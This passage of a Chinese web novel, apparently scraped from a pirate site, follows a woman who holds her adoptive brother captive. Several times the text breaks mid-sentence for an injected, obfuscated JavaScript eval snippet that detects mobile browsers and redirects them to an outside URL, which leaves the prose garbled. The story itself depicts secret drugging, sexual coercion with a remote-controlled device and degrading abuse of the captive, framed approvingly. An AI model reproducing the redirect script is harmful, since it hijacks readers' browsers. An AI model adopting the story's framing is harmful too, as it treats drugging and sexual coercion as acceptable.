“这倒是个惊喜……”他眯起眼睛,“不过现在不能表现得太急迫,容易被怀疑。你先回去,把细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514898|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节弄清楚,我琢磨下这件事该怎么用……近些天你也小心点,追查季迟的下落这件事据我所知,应该是被交给虞临川负责了,我会尽量打掩护,但他不好对付。” “好,我知道了。” 公事说完,程宴时摆出点兄长的姿态,关心了一句:“对了宁宁,这次的新药你用着感觉怎么样?” 纪宁馨笑着回答:“还不错,副作用比之前的药更有趣点。” “副作用还能用有趣来形容吗?你真是……”程宴时瞥她一眼,没放在心上,“算了,宁宁,我什么时候能到你那里看看成果?” “这才第二天呢,小猫正应激,爪子利得狠,估计要忍不住挠兄长一下。”纪宁馨顿了顿,脑子里快速闪过那些破碎的剧情,确认节点,“等第五天,下周一,兄长去我那儿吃晚饭吧。” 程宴时摆手表示同意。 纪宁馨转头去交接自己的工作。她在这里有一个自己的工作室,并不在程远集团名下,但暂借这里的办公场地,大约只有二十多人的规模,算是程远集团给自家养女砸钱玩的小东西,明面上就做些粉粉嫩嫩的小玩具工艺品,不值一提。 事情全部处理好,老欧已经在车库等着了。1007迫不及待在她耳边问:【宿主,目标什么时候说过那什么山什么工程的?】它昨晚没错过什么吧? “哦,他没说过吗?”纪宁馨笑眯眯道,“那可能是我记错了。哎,年纪大了记性不好。” 【……】1007恨不能翻个白眼,【所以宿主刚才又在瞎说。】 算了算了,反正都跟任务没啥关系,1007也不想管了。 纪宁馨不置可否,随口转移话题,“对了,哥哥怎么样了?” 她一说,1007才猛的想起更重要的事,尖叫:【啊啊啊宿主!我刚想说呢!目标现在看上去不太好!】 在宿主离开之后,目标发了五分钟的呆,就听话地摸去那间差点把他淹死的浴室,仔细清理干净自己,换上浴袍重新包好手上的纱布,转头一刻没停地又去换了宿主的床单被套,把拆下来的塞进洗衣机——他似乎已经开始适应失明的生活,没有再不停地跌倒,只是昨晚大概真的伤到膝盖了,走路时右腿总是拖在地上,很疼的样子。 就这么忙忙碌碌了好久,目标的呼吸突然开始变重,皮肤慢慢泛起红色,他一开始可能还以为是又发烧了,用凉水拍了拍自己的脸。 但很快,他的身体软绵绵地倒在地上,眼睛不敢相信地睁大了。 他意识到,不是的。 不是发烧,而是…… 1007把画面放给纪宁馨看,季迟整个人像是刚从水里捞出来,身上本就宽松的浴袍已经被蹭开了,露出大片发红的皮肤,皮肤上的擦伤被汗浸透,肿胀起来。他眼睛空空睁着,里面像是已经被揉碎了,连眼泪都流不出来,嘴唇湿红,被牙齿死死咬着,泛着血丝,但依旧不能阻挡从胸腔深处,甚至更深的地方溢出的破碎泥泞的喘息。 他身下散落着刚从洗衣机里抱出来的床单,他应该本想把它们晾晒起来,可如今他蜷缩在上面,难以克制又罪恶万分地扭动身体绞紧双腿,脸颊不断摩挲着,鼻翼翕动,仿佛想要在这块湿淋淋的布料上面探寻到什么味道…… 可惜,刚刚清洗完的床单没有留下任何一点他期待的气味。 一点都没有。 1007担心道:【宿主,我们赶紧回去吧,肯定是那个什么药发作了。】 同时,老欧回头问:“小姐,现在是要回家吗?” 纪宁馨抬起头:“欧叔,麻烦去三洋里那家购物中心。” 1007目瞪口呆,愣愣地【啊】了声。 这是该逛街的时候吗? 纪宁馨用手指卷着自己的一缕头发,甜甜地对老欧笑道:“我想去给我哥哥买几套衣服。” 7. 床底 “我想去给我哥哥买几套衣服。” 老欧发动汽车,闻言忍不住感慨:“小姐还真是什么时候都挂念着程总啊。程总收到衣服肯定很高兴,要我说,别家就算是亲生的妹妹哪儿有小姐这么贴心的?怪不得程总宠小姐呢。” 纪宁馨微妙地笑笑,侧头看向车窗外的风景。 日光照在厚厚的积雪上,纪宁馨喜欢雪,因为大雪能覆盖掉很多痕迹,无论脚印还是血迹。昨晚的雪下得很好,让整个世界都变得素白无暇,非得等到春天一来,日头一暖,才发现底下竟然已经污水恒流。 车在购物中心停下,大屏幕上正在播放关于季氏的公子,知名慈善家季迟先生在前往山区考察慈善资助对象途中失踪,根据失踪现场留下的痕迹,极有可能是极端人类主义组织HCI所为,希望广大民众如果有相关线索及时上报云云的新闻,不少人驻足观望,窃窃私语,大多是担心季迟,批判绑架者,听得1007十分心虚。 而真正的绑匪却大摇大摆,明目张胆地穿过人群,经过大屏走进男装店,被一众店员簇拥着坐在沙发上,喝着茶吃着点心,指了个模特一件件试衣服。 模特腰细腿长,半扎着长发,乍一看有些像季迟。 1007盯着家里的情况,一惊一乍。 【宿主,目标现在的心率很不正常,情绪曲线快崩了……现在不是剧情节点没必要做到这个程度……】 【宿主宿主,目标在叫你,他好像哭了……】 【宿主!目标在咬他的手!!流血了流血了!呜呜呜肉都要咬下来了!】 【宿主咱别买了,回去吧……目标会不会死掉啊……】 纪宁馨充耳不闻,有一句没一句地和店员聊着天,买完外衣买内衣,一直到日色西斜,1007都快要哭出来了,才拎着买好的衣服站起身。 1007还以为她终于要回家了,一口气没松到底,就看见纪宁馨脚步一转,上楼进了家粤菜馆开始点菜吃晚餐。 1007傻眼,忍不住问:【宿主……你真的,那么恨目标吗?】 纪宁馨脸上依旧挂着笑,给自己盛了碗汤,用勺子漫不经心地搅着:“77啊,以后如果有人跟你说,我爱谁所以才这样做,我恨谁所以才那样做……把爱和恨当做一切行为的目的,要是这人不是真傻子,就千万别信他的蠢话。” 她喝了口汤:“我恨哥哥,是因为我需要他怕我,需要他听话。” 1007晃晃悠悠没听懂:【可是目标不是已经很听话了吗?】 都被这样对待了,还是宿主说什么他就听什么,连气都没生一点。 纪宁馨伸出根指头摇摇:“还不够,要再乖一点,再怕我一点,也再渴望我一点。听到我的声音就会无法控制地发抖,但又无法控制地从深处流出水,一旦离开我就好像掉进深不见底的黑暗,除了绝望再感受不到其他……如果他总对我抱着期待,会很麻烦。” 【啊……】1007似懂非懂,但狠狠打了个寒噤,【所以……你骗他是退烧药……】 “我没骗啊。”纪宁馨无辜地说,“确实有一片是退烧药,药效不是很好吗?哥哥退烧了呀。” 1007:【……】 纪宁馨温柔地笑了笑,她长着一张非常乖的脸,眼睛大而圆,鼻梁嘴唇都纤巧精致,脸颊还带着点婴儿肥,这让她看上去介于成熟和稚气之间,笑起来时仿佛夏日一杯冰镇的蜂蜜水,甜得让人身心舒畅。 没人会觉得这样的甜美是有毒的,就像没人会相信这样乖的女孩能做下什么残忍的事。 但她说:“那时候……吃下那两片药的时候,哥哥已经做好了最坏的准备,就算一切按照他所想的发展,也不过是能够承受的绝望罢了。” 可是他所等待的侮辱变成了包扎,蘸着酒精的棉球清洗了他双手的伤口,吃下的药只是为了退烧……他应该在酒精的刺痛里心神震颤,触摸到了关怀和温暖,就又觉得可以重新拾起某些期待,期待妹妹还爱着自己,之前做的事情只是孩子闹脾气,期待等妹妹回来之后,他们就能好好谈一谈,然后变回曾经亲密无间的样子。 很痛苦吧,哥哥,在身体突然热起来的时候。 不敢相信,不愿相信,不断回想着不久前的对话,不断催眠自己那只是退烧药,但是身体的反应骗不了人,肮脏的欲/火焚烧了所有的期待。 承受已知的绝望,和打破刚刚燃起的希望。这二者之间,纪宁馨当然知道如何选择。 1007已经傻了:【所以……宿主根本不是为了报复,是……跟刚才那个男人合谋?宿主还叫他兄长……你们……你们其实是想要利用目标达成什么目的?恨不是你的目的?!】 纪宁馨回答:“恨是手段,报复也是手段,哥哥的错不是当年咬伤了我,而是他有被利用的价值,却没有自保的力量。” 1007:【宿主……到底想利用目标干什么?】 它现在是真的有一点……不,亿点害怕。 但纪宁馨弯唇一笑,轻松甜蜜地说道:“当然是拯救世界啊,我们可是拯救世界小分队耶!” 1007:【……】 1007觉得,它在宿主眼里怕不是个傻子哦。 纪宁馨笑得肩膀发抖,好一会儿才收住。她也不逗它了,招来服务员,下单了一份清蒸小黄鱼,一份清粥和一些小菜打包,终于在天色完全昏暗下来之前回到住处。 “不过有一点,77,你可以放心。”纪宁馨打开门,屋里一片寂静的漆黑,她没有开灯,只是把手里提着的食物放在餐桌上,一盒盒取出,“我很惜命,也不想跟所有人一起去死,所以那些剧情任务,我会完美达成。” 黑暗中,纪宁馨侧耳听着屋里的动静,弯弯的眼睛闪着森亮的光。 “我们,都会得偿所愿。” * 屋子里看上去没有半点人气,冷冰冰的一片。猫总是很擅长隐匿和躲藏,尤其是在受伤的时候,纪宁馨没有到处寻找,也没有询问1007,轻车熟路地在一片黑暗里行动,好像她也是一只不需要光的夜行生物似的。 程宴时很不喜欢到这儿来,因为这间屋子不知道是采光问题还是真的阴气重,客厅哪怕开着空调也总是冷嗖嗖的,好在房间还算暖和。纪宁馨去浴室洗漱后,就裹着一身水汽钻进被子里,把空调温度开到最高,靠在床头拿电脑处理导师的邮件。 她确实还在上学,读研,专业和导师都是程宴时挑的,大致是艺术理论之类的方向,说起来很好听,很有格调,但基本什么都学不到。纪宁馨也不在意,她想要的大学教不了她,程宴时也不会允许她真的表露出入驻集团的野心。 她是一个美丽的花瓶,是一把锋利的刀,需要她处理的只有那些上不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514899|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了台面的,黑暗中的事情,再假装出一副不谙世事的面孔,用联姻来榨取最后的利益。 这样的未来啊,呵,真是想想就让人忍不住笑出声来。 噼里啪啦的打字声接连不断,渐渐的,打字声中夹杂了一些微弱的哽咽,呢喃着“小宝”之类的混沌的话,太轻了,本该听不到,但偏偏又是在太近的地方。纪宁馨打字的动作一停,就若无其事地继续。 果然是猫啊。 但她又想,小时候,其实她才是喜欢这么干的那个。 害怕了,委屈了,生闷气了,想要躲起来了……狭窄的黑暗的地方会给人安全感,像是回到温暖的子宫。 而哥哥总是找到她的那个。 床垫传导着细微的震动,伴随着哽咽的频率,有粘稠的水声,嘴里应该咬着什么,声音被堵着,只从鼻腔一抽一抽地往外溢……是还咬着他的手吗? 纪宁馨突然下床,踢踏着拖鞋走远了。 大约二十分钟后,她重新爬上床,轻飘飘地将一个椭圆形的,镂空的小球扔进床底,小球似乎是某种金属质地,在寂静的黑暗中发出一串清脆的铃声,咕噜噜滚着,碰到了充斥着高热的,濡湿颤抖的皮肤。 季迟在浑浑噩噩间被这冰凉的触感猛的一惊,就要往后缩,但床底的空间实在狭小,本来就是勉强挤进去的,几乎已经让他觉得有些窒息,他难以动弹,从喉口挤出几道破碎的气音。 黑暗里,他的一双眼睛已经完全成了猫的样子,手上的纱布已经被扯得乱七八糟,露出伤痕累累的手指,他太热了,在最初的惊恐之后,他似乎意识到那个东西并没有危险,本能地靠近那抹冰凉,指尖试探着伸过去。 凉的。 像握了一块冰。 他蹭过去,用脸颊碰了碰,在凉意中勉强找回一丝清明。纪宁馨重新躺到床上,伸手在床头轻轻敲了两下。骤然的声音和震动让季迟应激地颤抖起来,慌不择路地把金属小球抓在手心。 “哥哥。”纪宁馨的声音隔着床垫,因为模糊不清,反倒显得有些温柔,“是不是凉凉的,很舒服?想不想更舒服一点?” 季迟的思维已经完全钝了,他不断地流泪流汗,高热和脱水摧毁了他的理智。可妹妹的声音传来了,那双猫耳就颤了颤,像被人轻轻捏了下,麻和软顺着耳根窜到脊柱,让季迟差点弓起身体。 单薄的喉结上下滚动,季迟一边混沌地想着“不可以,不能”,身体却难以自持地听从了那个温柔诱哄的声音,想要为自己寻求解脱。 “哥哥,别怕。” “它很凉,哥哥可以把它贴在身上,能稍微降温……哥哥体温太高了,需要物理降温……” “去找最热的,最难受的地方。” “嘘……我没有看见哥哥,现在哥哥做什么,我都看不见……” “所以,放松一点……” 纪宁馨侧躺在床上,床下传来渐渐明显的啜泣,季迟手上有伤,应该是很疼的,但在这种情况下,倒错的感知反而因为这种疼痛变得更加兴奋。 她估摸着时间和他的状态,手指摩挲着一个小小的控制器,待到那啜泣声渐渐发紧,纪宁馨按住开关,毫不犹豫地推到最上端。 铃声骤然变响,伴随着再也堵不住的哭腔,纪宁馨微微笑了。 “还在冬天,猫儿就这么会叫了,等春天可怎么办呢?” 8. 甜牛奶 床底的声音骤然静了,只剩下铃声和嗡鸣,掉在地毯上脆脆地回荡。 纪宁馨的手指在控制器的按钮上轻轻点着,没有把它关停,而是任由金属小球响着,床底的小猫大概已经僵住了,连呼吸声都几乎消失。 纪宁馨:“看来哥哥清醒一点了,手弄脏了?还想咬手吗?” 季迟怔怔的,木然地缩起手指,像是想藏起什么罪证,但床底弥漫的腥气却是他无论如何都藏不起来的,只能听着妹妹在床上翻了个身,笑吟吟地评价:“在妹妹的床底做这种事,真下贱啊,哥哥。” 是啊,真下贱。 灵魂像是已经飘起来,失去了视觉之后,他又失去了感知。他在什么地方?为什么会在这里?为什么这么难过? 恍惚间,耳边仿佛响起很久很久以前的声音,破碎的片段闪烁着,怀里是温暖柔软的躯体。 “哥哥。”那个稚嫩的,柔软的小孩紧紧抱着他,亲亲他的脸颊,又甜又柔软地说,“哥哥,我们要一起……” 要一起……一起…… 又有什么东西被推到床下,碰到了他的手臂,季迟比上一次更加应激,竭尽全力往床底的更深处缩去。他的精神已经崩到了极致,仿佛慢上一秒就会被伤害,被刺进柔软的肉里。 然而他闻到了一股香味,热乎乎的,食物的香味。 “不闹哥哥了,哥哥今天一整天就只喝了那几口粥吧?昨晚也没怎么吃东西,胃会坏掉的。”纪宁馨趴在床沿,笑着把碟子往床下又推了点,“胃疼很难受,像要死掉一样难受。” 又是这样。 巴掌甜枣,甚至这甜枣也可能埋着剧毒的毒药。可随着她的声音,季迟真的感觉到自己的胃痉挛着疼痛起来,食物散发出很浓的,鱼肉的鲜香,因为视觉受阻,嗅觉变得更加灵敏。 他整个人都微微发抖,但身体已经不敢再违抗,被本能拉扯着,在混沌中呜咽着,一点点爬向香味传来的方向。 手指碰到了温热的碟子,没有摸到筷子勺子一类的工具,狭窄的床底让他只能趴在地上,稍微支起上身。 他一怔,意识到了纪宁馨想让他怎样吃掉这些食物。 颤抖的嘴唇抿了抿,被牙齿咬住,他朝一边别过头,微弱地抗争,就听见纪宁馨温柔命令道:“对了,把那个小球拿起来,贴在身上。” 她一笑:“哥哥知道该贴在哪里。” 季迟睫毛颤动,溅出一滴泪:“别……这样……” 纪宁馨轻轻打断他:“哥哥,你在垃圾桶里捡过吃的吗?” 季迟瞬间哑了,呼吸粗重几分,纪宁馨又笑着问:“和野狗抢过一块发霉的面包吗?” 她笑吟吟地说残酷的话,轻描淡写:“哥哥现在觉得很委屈,觉得被羞辱了吗?也对,哥哥身份尊贵,锦衣玉食,所以即使这样新鲜的,温暖干净的食物,哥哥也是吃不下去的。” 床下静了一会儿,随后传来细碎的动静,金属小球的嗡鸣声,水声,舔舐,咀嚼,吞咽,和夹杂在其中,黏腻的抽泣声,时不时伴随两声被呛到的,沉闷的咳嗽。纪宁馨能想象出那个场景,她将耳朵和手掌贴在床单上,静静听着。 一张床,上下两个世界。 她忽然就想起很久以前,她和哥哥还一起生活在向日葵福利院里,那大约也是个冬天,有个面目模糊的大人端来碟甜牛奶,突发奇想要她趴在地上舔食。 “就像只小畜生……哦不,小猫一样,会吗?”大人用手指戳她的额头,他甚至没多少恶意,只是充满兴味,打量她的目光像看只逗趣的小动物。她那时候太小,走路都还打晃,偏偏直觉敏锐又被哥哥养得很任性,怎么也不肯,一巴掌就掀翻了碟子。 牛奶撒了一地,惹怒了那个大人。哥哥从远处急匆匆地跑过来,在她被打之前慌忙把她挡在身后,一声声地求,说着她还小,还不懂事,他会负责清理的,请您原谅她之类的话……最后那大人冷笑了声,说:“行啊,那你来舔干净吧。” 哥哥的脊背僵了僵,就又软下去,哥哥说:“小宝,把眼睛闭起来。” 那时她听到的声音,大概和现在相似吧。 哥哥不是个膝盖很硬,脊背很直的人。一无所有的时候,坚硬的膝盖只会被打断,挺直的脊梁也终究要弯折,更何况哥哥在乎她,所以为了她没什么不能做,也没什么不能舍弃,这就是1007的剧本里一笔带过的那四个字。 相依为命。 后来,哥哥把她从床底下捞出来,重新梳好被那个大人扯乱的辫子,她问哥哥,小宝是不是不该打翻碟子,下次她不打了,小宝其实喜欢牛奶的。 哥哥的动作停住,他低下头,用脸蹭了蹭她被戳红的额头,温柔地说:“要打的,下次小宝还要用力打翻碟子好不好?哥哥在呢,所以小宝不用这样喝牛奶,不管多少次都一定要把碟子打翻。” 她就问:可是,打翻之后呢? 哥哥笑了下,将她抱在腿上晃啊晃,唇齿间带着奶香:“打翻之后,就喊哥哥啊。” 纪宁馨轻轻喊了声:“哥哥。” 没有回应,房间里一片空荡荡的黑,床下,进食声和水声都消失了,纪宁馨按下按钮,金属小球的铃声和嗡鸣也安静下来。地毯上,一缕黑色的长发从床底伸出来,纪宁馨从床边伸长手臂,将那缕发丝捻在指尖。 湿漉漉的,不知道沾着泪水还是汗水。 纪宁馨爬下床,从床底拖出那个还剩下小半残粥的盘子,盘子里清粥拌着小黄鱼,鱼肉被她仔细剃掉了刺,碾成鱼糜,另外还有些切碎的蔬菜,散发出浓郁的香味,她做完时尝了一口,其实味道还挺不错。 季迟已经彻底失去意识——纪宁馨在粥里混进了碾碎的药,安眠、退烧、镇静、消炎、抑制发/情,以及刺激眼部神经保持失明状态。她吃过太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪宁馨抬手摸摸光团:“真贴心啊,77。” 1007又忍不住往她手上蹭,可恶,明明已经知道宿主是真的很可怕,但是她每次摸它的时候偏偏都好温柔。 1007感到非常矛盾,只好把注意力转向任务,担忧道:【宿主,下一个剧情任务好像是惩罚相关的,可是……今天都这样了,目标他……应该不敢再做什么需要被惩罚的事情了吧?】 虽然如果宿主硬要莫名其妙给目标扣一个罪名也不是不行,毕竟按照现在来看,宿主做得出这种事。 纪宁馨合上电脑,闻言说道:“是吗?那我跟77打个赌吧。” 光团臌胀一下,很疑惑的样子:【赌什么?】 “我赌……明晚。”纪宁馨弯唇一笑,“哥哥会逃跑。” 1007:【啊?】 它不相信。 9. 赌约 1007不相信,纪宁馨倒是兴致勃勃:“来嘛来嘛,我们赌一赌。如果我输了,嗯……下个剧情任务节点,我就弄得温柔一点,不吓唬他也不吓唬你了,怎么样?” 1007亮了亮。 纪宁馨见它心动,支着下巴,慢悠悠说:“不过呢,如果我赢了,77宝贝能拿出什么赌注来?” 1007就一边嘀咕着【人家系统都是想方设法求宿主不要心软,怎么到我这里温柔点反倒成赌注了】,一边真的开始绞尽脑汁思考自己能拿出的东西。 纪宁馨没让它纠结太久,好心给出一个建议。 “按照书里的剧情,哥哥未来的腿应该没有残疾吧?哎,可是我还要残害哥哥的身体呢,跪一跪踩一踩的不是很正常吗?那膝盖肯定会坏的……嗯,如果非要时刻关注着膝盖,虽然也不是不行,但好麻烦呀……”纪宁馨笑眯眯地长吁短叹,1007挠挠光团,听懂了。 【所以宿主就是又想随心所欲,又不想目标腿真的坏掉剧情崩了是吧?这种操作其实有点违规……】1007无语凝噎,犹豫一会儿,但最后还是被“目标太惨了”的念头戳软。 反正不管按照目标人设还是按照它的观察推算,它的赢面都超级大。 1007:【嗯……好吧,如果宿主赢了,我就给目标的膝盖设置一层保护,保证它至少不会彻底废掉。】 等它赢了之后,宿主就能对目标稍微善良一点了,它真的可以只要合格分! 纪宁馨躺在床上伸出一根手指,和1007模拟击掌:“成交。” * 一夜过去,日光从窗帘的缝隙挤进来,投下细长的光影。纪宁馨起得很早,几乎是太阳刚升起她就跟着一起从床上爬起来了,1007都觉得奇怪,问她是不是因为打赌所以太兴奋了睡不着啊。 毕竟昨晚她躺下时已经快要凌晨三点了。 纪宁馨笑眯眯地说“是呀是呀”,她看上去没有半点熬夜的疲态,甚至精神比昨天还要更好,一刻闲不住地在屋子里这儿走走那儿走走,一会儿把她那一柜子奇形怪状的玩具一个个摆出来给1007科普,一会儿打开电脑随便点开个小游戏一口气通关全程。 九点,纪宁馨在厨房热了杯牛奶,加上蜂蜜,配着面包慢悠悠吃着,有些冰冷抽搐的胃稍微舒缓了些。 房间里传来些窸窸窣窣的声响,季迟醒了。 纪宁馨叼着面包,端着甜牛奶推开房门,就看见季迟居然自己从床底爬了出来,抬着两只被好好包扎过的手,抱着那个电暖炉,摇摇欲坠神色恍惚地站在冬日寡薄的日光里。 听到开门声,季迟的猫耳颤了颤,尾尖的那截骨头微微弯了一下。 纪宁馨含糊地叫道:“哥哥,早上好。” 季迟朝声音的方向轻轻转过脸,那件已经皱巴巴的睡袍被他仔细地拢好,遮住了不堪的身体,只是脸上还残留着一些脏污,嘴唇红肿破损,残余着牙痕。 但他的神色却沉静下来,整个人仿佛从混沌中回到了人间,在用那双看不见的眼睛仔细描摹妹妹的面孔。 纪宁馨把嘴里的面包咽下去,歪头看他。几秒后,季迟跛着右脚朝她走来,不愧是猫,哪怕伤着腿,走路时依旧寂静无声。 他就这样安静地走过来,突然低头抱住了纪宁馨。 一个很像哥哥的拥抱,不夹杂着别的什么,仿佛只是曾经,她在他不知道时受了委屈闹了脾气不肯理人,哥哥哄了又哄,还是没哄好,就只好笑着这样抱抱她,说哥哥错了。 纪宁馨端着牛奶的手顿住,奶白的液体溅出来几滴。 1007刷的一下躲到纪宁馨身后,它自己都不知道自己为什么突然想躲起来,小光团偷感很重地看着眼前这幕,对自己更加自信几分。 看目标这个样子,应该……不会逃跑了吧。 肯定不会了吧! 纪宁馨似乎是愣住了,好一会儿才抬起另一只手,却没有回应地抱他,而是用手指戳了戳季迟后颈上那小块微微凸起的骨头。 季迟应激似的一缩,又放松下来,将脆弱的脖颈送到纪宁馨手下,很轻地问:“小宝吃饱饭了吗?有吃到喜欢吃的,温暖新鲜的食物吗?” 好像这个问题比昨晚的一切羞辱和痛苦都更加重要。 房间温暖而宁静,耳边只有彼此轻缓的呼吸。 “哥哥怎么这样啊,弄得反倒像是我在无理取闹了……”纪宁馨开口了,依旧是笑着,“吃饱了,一般般还算喜欢吧,哥哥生气了吗?” 季迟长睫垂落,静静摇头。 他并不生气,他只是很痛,那是剜掉了心口的肉,风从那里贯穿而过,从此是无穷无尽的空落落的痛。 这种痛绵延不绝,或许是从昨晚,从跪趴在她的床下,像牲畜一样舔食那碗鱼糜粥的时候……也或许是那天在浴缸里,他浸着水,被围巾一圈圈缠绕几乎窒息的时候…… 甚至……或许更早一些,许多许多年前,他从昏迷中醒来,身边围着许多许多人,却唯独没有他最想看见的那个的时候。 “怎么能不生气呢?哥哥。”纪宁馨像是叹了口气,她在被拥抱后仿佛也突然变得柔软了些,“这些年,你是不是再没受过这样的委屈?” 季迟沉默片刻,依旧只是摇头。 “膝盖的旧伤是什么时候弄的?”纪宁馨笑了下,像是随意提起一个话题,又平静地给出一个猜测,“不会是……那时候吧?哥哥是不是一醒来找不到我,所以急得把膝盖都摔断了?据说小猫连跳楼都不会摔死,Flying cats,哥哥是有多慌啊?” 季迟没有说话,眼睫颤了颤,像是默认。纪宁馨就又问:“怎么没好好治疗?那时候他们不是应该宝贝你宝贝得很吗?这么点小伤也能拖成病根?” 这几句话似乎让季迟想起什么,他的嘴唇轻轻一抿,并不想回答。但他又实在很珍惜这一刻的温情,这样平静的对话珍贵得让他几乎想要落泪。他已经失去了妹妹的仁慈,昨晚的一切已经明明白白地告诉他,他不能再有一些妄想,甚至已经不再有一些资格。 他需要乖顺,需要听话,需要予取予求。 他需要配合,才能够抓住一线机会。 可他依旧是哥哥。 喉结上下游移地滚动,季迟终于开口,语速很慢,一字一字尽量简单地回答:“那时候……我,出现兽化,他们……不知道究竟这是什么原因导致,也怕,药物出现什么不可知的影响,所以,只……固定了骨头……没用药。” 纪宁馨敛眸:“麻药也没有用过?” 季迟眼睫一颤:“……嗯。” “哥哥那时候疼不疼?” 短暂的沉默,他再次摇头。 “那现在呢?”纪宁馨从他怀里退出去,伸手往他的右腿膝盖上捏了捏,如愿看到季迟白了脸,“疼不疼?” 季迟忍住一声闷哼,额头上渗了汗,一时间说不出话。纪宁馨转身走开,没多久又回来,捏着他的下巴再次将一片药抵在他的嘴边,微笑望着他。 这一次,没有解释也没有疑问,没有逼迫也没有抗拒,季迟就这么将药含进去。纪宁馨又拿着杯牛奶碰了碰他的嘴唇,季迟张开嘴,顺服地吞咽着,一双眼睛雾蒙蒙的。 纪宁馨不太擅长给人喂东西,杯子倾斜太过,来不及吞下的牛奶从唇角溢出,留下道白色的痕迹,她伸手去擦,季迟也下意识伸出舌尖去舔。 于是,碰到了。 季迟身体一抖,纪宁馨轻笑,顺着那道痕迹,将两根手指抵进柔软的嘴唇,嘴里说着:“哥哥真的吞下去了吗?给小宝查一下。” 小猫的舌头有很软的肉刺,痒痒的。 这样的动作大概还是超出了季迟能够接受的极限,舌尖略带惊慌地躲避着。两根手指在嘴里扫过一圈,又故意似的勾了勾舌根,喉口一缩一缩,因为羞耻、反胃……又或者一些别的什么,颤抖得厉害。 涎水混着奶香,勾出来时连着一道淡白的丝,纪宁馨满意道:“看来是好好咽下去了,真乖,哥哥。” 季迟捂着嘴,膝盖发软,弯腰克制不住地咳嗽,在一片头晕目眩中听见纪宁馨脆脆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514901|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑声。 这次的笑声听起来是真的高兴了。 “哥哥。”她捧起他的脸,整个语调都变得非常轻盈,“怎么吃个药也能把自己吃得跟小花猫一样?满脸都是,我把哥哥洗干净吧。” 季迟被拉到椅子边坐下,纪宁馨一边胡乱地在他脸上擦,一边笑眯眯说:“小时候,哥哥也这样给我洗脸。我那时候可讨人厌吧,一刻都不肯闲,还干什么都非要哥哥一直抱着我,别人抱都不行,不然就哇哇大哭。” 她把自己说乐了:“就是个熊孩子。” 季迟嘶哑地低声说:“……你不是。” “嗯?” “不讨人厌,也不是……熊孩子。”季迟顺着纪宁馨给他擦拭的动作轻轻合了下眼,又轻轻睁开,“你是那里最好的孩子。” 纪宁馨静静凝视着季迟的脸,似乎惊讶他在经历了昨晚后依旧能说出这句“最好的”,身体却又非常诚实地因此感到高兴。 看,正如她了解哥哥,所以永远知道怎样刺伤他,哥哥也了解她,所以永远知道怎样取悦她。 但她其实不想这么轻易就被取悦到,这是个很好的晴天,是大雪后的第一抹阳光,虽然不够暖,却一扫之前的阴沉,将天地都照得很明亮,甚至能看见阳光下反射着微光的浮尘。 哥哥也浸在这难得的阳光里,发丝被描上淡白的边。 纪宁馨忽然亲昵地贴了贴他的脸颊:“最好的孩子是不是该得到奖励?” 季迟顺着她,低低“嗯”了一声。 纪宁馨就伸手,指尖暗示性地碰了碰他的嘴唇:“那……去把昨晚扔在床底下的玩具叼来给我,哥哥。” 温情被打破了,阳光也被打破了,季迟的脸色有些苍白,但他没有像昨天那样应激,仿佛底线已经被踩破一次,再踏上去时,残存的自尊也就不堪一击。 他只是微微抬起头,神色有几分悲伤。 “小宝。”季迟轻声开口,“看哥哥做这样的事,会让你开心吗?” 他的面孔在日光下像是受难的神像,被钉在十字架上的耶稣,被打了右脸后,便又将左脸也伸过来,还担忧地望着那只打他的手:“如果想要羞辱报复,会有别的方式,更好更痛的方式。这种事……哥哥是不喜欢,不想碰,不愿意碰,但终究是生理现象罢了。真的麻木之后,我能有多少痛苦呢?我的身体难道不会背叛我,反倒感到欢愉吗?” 他的痛苦,拒绝,挣扎,从来都只来源于那一点罢了。 “可是小宝,哥哥真的不想弄脏你啊。” 房间里落针可闻,空气几乎在寂静中凝固,纪宁馨终于开口了。 她轻描淡写地问:“所以,哥哥现在是又觉得可以说教我了?” 季迟包着纱布的手指蜷起,身体里,仿佛有什么滚烫的东西又开始燃烧,灼灼地要摧毁人的理智。 短暂的寂静后,季迟低下头说:“……我明白了。” * 右腿膝盖似乎变得麻木了,只微微涨着,没有了那种钻心的疼痛。 